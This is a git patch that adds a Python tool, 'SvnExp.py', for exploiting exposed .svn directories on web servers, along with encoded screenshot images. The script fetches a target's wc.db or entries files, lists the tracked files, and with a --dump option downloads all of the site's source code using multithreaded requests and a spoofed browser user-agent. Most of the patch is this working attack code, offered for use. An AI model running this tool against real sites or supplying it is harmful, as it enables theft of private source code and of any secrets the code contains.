From bceeaa5e02b62616945c97ccb8cf477ae6e3f76a Mon Sep 17 00:00:00 2001 From: helloexp <21156949+helloexp@users.noreply.github.com> Date: Tue, 1 Mar 2022 13:23:44 +0800 Subject: [PATCH] =?UTF-8?q?add=20svn=20=E6=BA=90=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=B3=84=E9=9C=B2=E5=88=A9=E7=94=A8=E5=B7=A5=E5=85=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../SVN 源代码泄露利用工具/SvnExp.py | 301 ++++++++++++++++++ .../images/svnGR1.7.png | Bin 0 -> 13147 bytes .../images/svnLE1.7.png | Bin 0 -> 31044 bytes .../SVN 源代码泄露利用工具/readme.md | 153 +++++++++ .../SVN 源代码泄露利用工具/requirements.txt | 2 + 5 files changed, 456 insertions(+) create mode 100644 svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py create mode 100644 svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png create mode 100644 svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png create mode 100644 svn_file_disclosure/SVN 源代码泄露利用工具/readme.md create mode 100644 svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py b/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py new file mode 100644 index 0000000..0c3d771 --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py @@ -0,0 +1,301 @@ +#coding=utf-8 + +import requests,threading +import sqlite3,os,re,sys,optparse +from prettytable import PrettyTable + +""" +第三方库:requests,prettytable + * 全局变量定义区 +""" +header={'accept':'text/html,application/xhtml+xml,application/xml', + 'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36', + 'referer':'http://baidu.com'} +table_dump = '' +if sys.version_info < (3, 0): # 兼容py2和py3 + import Queue as queue +else: + import queue + +download_queue = queue.Queue() + +# 下载wc.db +def download_db(url): + db_url = url+"wc.db" + # 判断存放数据库的目录是否存在 + if(not os.path.exists('dbs')): + os.makedirs('dbs') + #匹配url中的host,然后作为文件夹名 + pattern = re.compile(r'(?:\w+\.+)+(?:\w+)') + host = pattern.findall(url) + # 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增 + if(not os.path.exists("dbs/"+host[0])): + os.makedirs("dbs/"+host[0]) + path = "dbs/"+host[0] + else: + i = 1 + while (os.path.exists("dbs/"+host[0]+"("+str(i)+")")): + i = i+1 + os.makedirs("dbs/"+host[0]+"("+str(i)+")") + path = "dbs/"+host[0]+"("+str(i)+")" + + # 组成最终地址 + db_path = path+"/wc.db" + # 下载数据库 + res = requests.get(db_url,headers=header) + if res.status_code!=200: + print("[-] 未找到%s/wc.db"%url) + sys.exit() + with open(db_path,"wb") as file: + file.write(res.content) + return db_path + +# 连接数据库,查询数据库 然后把 local_relpath \ kind \ checksum 取出来 +def db_conn(db_path): + try: + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + cursor.execute("select local_relpath,kind,checksum from NODES") + values = cursor.fetchall() + return values + except: + print("[-] wc.db连接失败!") + +def print_values(values): + #print("[+] 文件名 | 文件类型 | checksum") + table = PrettyTable(["文件名","文件类型","CheckSum"]) + for v in values: + if v[0] : + #print("[+] %s %s %s" %(v[0],v[1],v[2])) + table.add_row([v[0],v[1],v[2]]) + table.sort_key("CheckSum") + table.reversesort = True + print(table) + +# 用queue存放values中的记录,供下载源码使用 +def gen_queue(values): + global download_queue + for v in values: + if v[0]: + download_queue.put(v) + +def down_file(url,db_path): + # 获取下载后保存的本地地址 + path = os.path.dirname(db_path) # dbs/127.0.0.1 + + while not download_queue.empty(): # 如果queue不为空 + value = download_queue.get() + #print(value) + #sys.exit() + if value[1]=="dir": + if not os.path.exists(path +"/"+ value[0]): + try: + os.makedirs(path +"/"+ value[0]) + except: + pass + else: + # 如果checksum == None 说明文件已经被删除 + if value[2] == None: + continue + # 处理checksum + checksum = value[2][6:] + url_file = url+"pristine/"+checksum[:2]+"/"+checksum+".svn-base" + file_uri = ".svn/pristine/"+checksum[:2]+"/"+checksum+".svn-base" + #print(url_file) + # 下载代码 + global table_dump + try: + res = requests.get(url_file,headers=header) + except: + #print("[-] 下载%s失败!" %url_file) + table_dump.add_row([value[0],file_uri,'下载失败']) + continue + if not os.path.exists(os.path.dirname(path+"/"+value[0])): + try: + os.makedirs(os.path.dirname(path+"/"+value[0])) + except: + pass + with open(path+"/"+value[0],"wb") as file : + file.write(res.content) + #global table_dump + table_dump.add_row([value[0], file_uri, '下载成功']) + download_queue.task_done() # 通知队列已消费完该任务 + +def banner(): + print(""" ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +SvnExploit - Dump the source code by svn + +""") + +def svnMoreThan1_7(url,isdump): + # svn > 1.7 + db_path = download_db(url) + values = db_conn(db_path) + # 判断是否要dump + if not isdump: + print_values(values) + else: + global table_dump + global download_queue + table_dump = PrettyTable(['文件名','URL','下载状态']) + print_values(values) + gen_queue(values) + threads = [] + for i in range(options.thread_num): + thread = threading.Thread(target=down_file, args=(url, db_path,)) + thread.start() + threads.append(thread) + for thread in threads: + thread.join() + + print("[+] 已经Dump完成!") + +def SvnVersion(url): + # if SVN version > 1.7 return True ,else return false + url = url + 'entries' + res = requests.get(url,headers=header) + #print(res.text) + if b'12\n' == res.content: + return True + else: + return False + +class SvnLessThan1_7: + def __init__(self,url): + self.url = url + # http://192.168.1.128/.svn/ + self.file_list = [] + self.dir_list = [] + self.flag = False + #print(url) + # 解析entries + def entries(self,url,dir): + #print(1) + res = requests.get(url,headers=header) + list = res.text.split('\n') + i = 0 + for data in list: + + if data == "file": + if list[i-1]: + if dir: + self.file_list.append(dir+'/'+list[i-1]) + else: + self.file_list.append(list[i - 1]) + #print(dir+list[i-1]) + elif data == "dir": + if list[i-1]: + if dir: + self.dir_list.append(dir+'/'+list[i-1]) + else: + self.dir_list.append(list[i-1]) + self.flag = True + i = i+1 + # 循环解析entries + def forloop(self): + for dir in self.dir_list: + #print(os.path.dirname(os.path.dirname(self.url))+dir+'.svn/entries') + self.entries(os.path.dirname(os.path.dirname(self.url))+'/'+dir+'/.svn/entries',dir) + + # print file + def print_file(self): + #print(1) + self.entries(self.url+'entries','') + if self.flag: + self.forloop() + table = PrettyTable(['文件名','文件类型','URL']) + for name in self.file_list: + #print(name) + table.add_row([name,'file', + os.path.dirname(name)+'/.svn/text-base/'+os.path.basename(name)+'.svn-base' + ]) + table.sort_key("URL") + table.reversesort = True + print(table) + + def dumpFile(self): + if (not os.path.exists('dbs')): + os.makedirs('dbs') + # 匹配url中的host,然后作为文件夹名 + pattern = re.compile(r'(?:\w+\.+)+(?:\w+)') + host = pattern.findall(self.url) + # 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增 + if (not os.path.exists("dbs/" + host[0])): + os.makedirs("dbs/" + host[0]) + path = "dbs/" + host[0] + else: + i = 1 + while (os.path.exists("dbs/" + host[0] + "(" + str(i) + ")")): + i = i + 1 + os.makedirs("dbs/" + host[0] + "(" + str(i) + ")") + path = "dbs/" + host[0] + "(" + str(i) + ")" + self.entries(self.url+'entries','') + self.forloop() + #print(self.dir_list) + for dir in self.dir_list: + #print(path+dir) + if not os.path.exists(path+'/'+dir): + os.makedirs(path+'/'+dir) + table = PrettyTable(['文件名','URL','下载状态']) + for file in self.file_list: + if os.path.dirname(file): + file_url =os.path.dirname(os.path.dirname(self.url))+'/'+os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base' + else: + file_url = os.path.dirname(os.path.dirname(self.url)) + os.path.dirname( + file) + '/.svn/text-base/' + os.path.basename(file) + '.svn-base' + res = requests.get(file_url,headers=header) + with open(path+'/'+file,'wb') as f: + f.write(res.content) + table.add_row([file, + os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base', + '下载成功' + ]) + table.sort_key('URL') + table.reversesort=True + print(table) + + +def svnLessThan1_7(url,isdump): + svn = SvnLessThan1_7(url) + #print(1) + if not isdump: + svn.print_file() + else: + svn.dumpFile() + +if __name__ == '__main__': + """ + 命令行参数: + svnExp.py -u TargetURL [--dump --thread 5] + """ + opt = optparse.OptionParser() + opt.add_option("-u","--url",action="store",dest="url",help="TargetURL e.g.http://url/.svn") + opt.add_option("--thread",action="store",dest="thread_num",type="int",default=5, + help="The thread num default is 5") + opt.add_option("--dump",action="store_true",dest="dump", + help = "Dump file") + (options, args) = opt.parse_args() + if len(sys.argv) <2 : + banner() + print("example: SvnExploit.py -u http://192.168.27.128/.svn --dump") + sys.exit() + banner() + if not options.url: + print("[-] URL Error!") + url = options.url + # 在拿到url后判断后面是否有/ 如果没有就加上 + re_ = re.compile(r'[\w\.\/\:]+/$') + if not re_.search(url): + url = url+"/" + # Get the svn version + Sversion = SvnVersion(url) + + if Sversion: + svnMoreThan1_7(url,options.dump) + else: + svnLessThan1_7(url,options.dump) diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png new file mode 100644 index 0000000000000000000000000000000000000000..863a1a0d1c4008b87bc7ab43e10cfca9628daade GIT binary patch literal 13147 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 literal 0 HcmV?d00001 diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png new file mode 100644 index 0000000000000000000000000000000000000000..f2069f2d00ad6ee01952e95b84785027449fdd43 GIT binary patch literal 31044 zcmXVXWl$VV*LH*i2n2TxvRH6kJh;2NySqbhcMl6BxZC3H8vry}B83ZSULSAWRHa1U z)Idr0UIz$PA_^jJ-qa_eJequX9V0tS>$tsngXR9;{dUcg-22TN??oAL5p{3Fqg+IP z9Ek@=08>!}Iwd|FuW<15q|vFo`}>1SWV%ENHbR@<_|IVmmd zwAM*a#N!yH+e9|J>ZK)dcW$B5?k!uuATe*Uue>!9pYYvBz(`=9&Yj~9Od_I~SbP?~b<_X;fZ+;IhUx3e)kig4 zvX2&qNjD5Upp4eWf2OK|KIeloVS2HHZTk;A9sQALywFej;*C+L?(;BIb5@oRpk}6 zf5@F?Fgy-sG_juE9G7e2rXN>D@&CzG!!pp7aYx2s*~jQM-LDsSN&bd;AaB!*ZKdSW z_-C_+ULY~rs{P|o_J2#*+=t1}CXtzsI5^f6>VPfp+tP%eZ{d7-{;Gp*W8{RIpAlCZ0diAB#st+hCjmnh^!Ky&%w%T7H*^F~4O%?`_^3w0*i z^`_w&yO)>lJ4FAtHbs4yeY(}f$|dVE)4b{G48^QMjx?u;8({oI;GWJmgDEy!_7m-T z9=h*Z9>ai{ay7&zG9LskyE*YK*>sg=c|t(g@!fk&@pfvJ!z`x4@_otM>+%!{1?ln>`{M2(=I6-FbmPqNEZUC<9{z;$>rP>$uIFBFl@ z=iL19ZYTftsAYYkPzoKDh!ZIk5nXbHF1efNVKqraEYH|@?$)7m9h_u@tiisoT+hggdJ-?|8>Ct*gy{^Ye? zS4_I-%ikUP>ZP5TrF^k4nm?mRdG$NxcZJ@p`;+ItEa4B#gG8JgD<^eiVkI8is*wn; ziI@CO@z#9df}JmFUYEJ`xU@5N(izv(dA-3yg=c=Tc-|5cC>^&RpGqA0V!a`nVA^A( z<~x>w$GsdEQ9+M~qi;)CogYvlpCjf@dZKwW^n|Qu-#_^`TQm>JNZJa(l$b-6Ubt_! zLwU~bJMuRkpm5d`WgKQ|3$H_LOu|NTJ^a4|u=g&lNzS-|ZNH;L7RtX>6odNM(Zann2vnc4kLDQlb5`(Hum})0dz-OGvXvn676q~1a+uK`h!cE~DbV*q#NO{^2Kh0o zT^}es6C}5ohZvR=B;*JK<*=$c6trRO-=v{>F&mKy$^HOro_N{LPBl3AR{m{2Uno%l4=aGlLG&FVvE 